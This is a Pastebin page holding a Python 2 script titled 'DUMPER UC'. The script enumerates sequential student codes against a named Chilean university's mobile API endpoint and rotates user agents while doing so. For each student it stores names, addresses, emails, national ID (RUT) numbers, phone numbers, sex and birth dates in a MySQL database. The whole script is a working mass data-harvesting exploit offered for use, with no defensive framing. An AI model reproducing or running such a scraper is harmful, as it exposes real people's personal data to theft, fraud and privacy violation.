cl34r

DUMPER UC

Sep 19th, 2017
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.12 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. __author__ = 'Cl34r'
  3.  
  4. import json
  5. from threading import Thread
  6. import randomagents
  7. from mysql import connector
  8. import time
  9. import unicodedata
  10. import sys
  11. reload(sys)
  12. sys.setdefaultencoding('utf-8')
  13.  
  14. def elimina_tildes(s):
  15.     return ''.join((c for c in unicodedata.normalize('NFD', s) if unicodedata.category(c) != 'Mn'))
  16.  
  17. con = connector.Connect(user='--', password='--', database='--', host='--')
  18. cur = con.cursor()
  19.  
  20. i = 70355 # 1800 + 1000000
  21. n = input('Cantidad a escanear: ')  # 1000000
  22. hilos = 5
  23. hilos = int(input('Cuantos Threads? (10 recomendado, 5 default): '))
  24.  
  25. def getData(i):
  26.     try:
  27.         j = randomagents.random_useragent(
  28.             'http://vivo.duoc.cl/VivoMobileServer/getInfoPersonalAlumno?cod_alumno=' + str(i))
  29.         j_obj = json.load(j)
  30.     except Exception, e:
  31.         print '404 or not connect: ', e
  32.     try:
  33.         direccion = (j_obj['data']['direccion']).decode('utf-8')
  34.         direccion = elimina_tildes(direccion)
  35.  
  36.         nombre = (j_obj['data']['nombre_completo']).decode('utf-8')
  37.         nombre = elimina_tildes(nombre)
  38.  
  39.         query = (
  40.         "insert into data (direccion, email_duoc, email_personal, rut, telefono, sexo, fecha_nacimiento, celular, nombre, cod_alumno) values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)")
  41.         datos = (direccion, str(j_obj['data']['email_duoc']),
  42.                  str(j_obj['data']['email_personal']), str(j_obj['data']['rut']),
  43.                  str(j_obj['data']['telefono']), str(j_obj['data']['sexo']),
  44.                  str(j_obj['data']['fecha_nacimiento']), str(j_obj['data']['celular']),
  45.                  nombre, int(i))
  46.  
  47.         if (cur.execute(query, datos)):
  48.             print '[+] Inserto!: ' + str(j_obj['data']['rut'])
  49.  
  50.         con.commit()
  51.  
  52.  
  53.     except Exception, e:
  54.         print '[-] no data o Error: ', e ," contador: ", i
  55.  
  56.  
  57. while i < n:
  58.     while (n - i) < hilos:
  59.         hilos -= 1
  60.     for x in range(hilos):
  61.         thread = Thread(target=getData, args=(i,))
  62.         thread.start()
  63.         i += 1
  64.         time.sleep(0.5)
  65.     time.sleep(1)
  66.  
  67. con.commit()
  68. con.close()
  69. print '[+] END'
Add Comment
Please, Sign In to add comment